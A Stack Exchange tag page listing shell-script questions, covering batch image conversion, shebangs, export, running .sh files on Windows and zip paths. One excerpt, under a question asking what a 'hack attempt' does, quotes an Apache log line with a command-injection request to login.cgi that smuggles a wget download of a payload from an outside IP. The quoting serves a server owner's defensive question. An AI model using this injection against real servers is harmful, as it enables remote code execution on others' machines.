Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [shell-script]

A shell script is a script written for the shell, or command line interpreter, of an operating system.

148
votes
10answers
194k views

Batch converting PNG to JPG in linux

Does anyone know a good way to batch-convert a bunch of PNGs into JPGs in linux? (I'm using Ubuntu). A png2jpg binary that I could just drop into a shell script would be ideal.
101
votes
6answers
27k views

When must I use #!/bin/bash and when #!/bin/sh?

When is #!/bin/bash more appropriate than #!/bin/sh in a shell script?
85
votes
7answers
285k views

looping through `ls` results in bash shell script

Does any one have a template shell script for doing something with ls for a list of directory names and looping through each one and doing something? I'm planning to do ls -1d */ to get the list of ...
68
votes
3answers
87k views

What does export do in BASH? [duplicate]

Possible Duplicate: Difference between “a=b” and “export a=b” in bash It is hard to admit, but I have never really understood what exactly export does to an environment ...
60
votes
15answers
531k views

How to execute .sh file on Windows?

When I am trying to execute a file(name.sh) in the command line by the command ./name.sh , I am getting the error that: "." is not recognized as an internal or external command, operable or ...
53
votes
4answers
76k views

Check if any of the parameters to a bash script match a string

I'm trying to write a script where I want to check if any of the parameters passed to a bash script match a string. The way I have it setup right now is if [ "$3" != "-disCopperBld" -a "$4" != "-...
49
votes
9answers
33k views

Log rotation of stdout?

I have a Linux program which can write information to stdout and stderr. I have a shell script which redirects that output to a file in /var/log. (Via >> and 2>&1.) Is there a way to ...
43
votes
2answers
44k views

Avoid unwanted path in Zip file

I'm making a shell script to package some files. I'm zipping a directory like this: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ The problem is that the ...
33
votes
12answers
127k views

Populating Array in DOS Batch Script

How can I setup an array variable in a DOS batch script? I would like to load it with a list of file names to process. I really would like to keep this as simple as possible. Thank you.
30
votes
2answers
4k views

What is wrong with “echo $(stuff)” or “echo `stuff`”?

I used one of the following echo $(stuff) echo `stuff` (where stuff is e.g. pwd or date or something more complicated). Then I was told this syntax is wrong, a bad practice, non-elegant, excessive, ...
30
votes
2answers
4k views

What does this bash script do? [Hack Attempt]

I've been noticing on my servers apache logs, the following strange lines lately: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/...
26
votes
5answers
19k views

How to extract a complete list of extension types within a directory?

Within a directory, and recursively within it's sub-directories, meaning every directory within a directory is processed, how do I compile a complete list of unique extensions within the directory? ...
25
votes
3answers
16k views

How to update bash on Mac OS X Yosemite

Just trying to learn bash scripting a little. My old bash version: Bash version 3.2.53(1)-release... I've updated my bash on mac os x yosemite with homebrew: brew update brew install bash Then in ...
23
votes
8answers
216k views

How can I run a shell script in Windows? [duplicate]

I'm a Mac user and new to Windows. How can I execute a shell script in Windows? Generally, I would save the text file with the extension .sh and run it via Terminal. But how could I do that in ...
23
votes
4answers
19k views

How to replace part of a text file between markers with another text file?

Say I have a text file like this: # custom content section a b ### BEGIN GENERATED CONTENT c d ### END GENERATED CONTENT I'd like to replace the portion between the GENERATED CONTENT tags with the ...

15 30 50 per page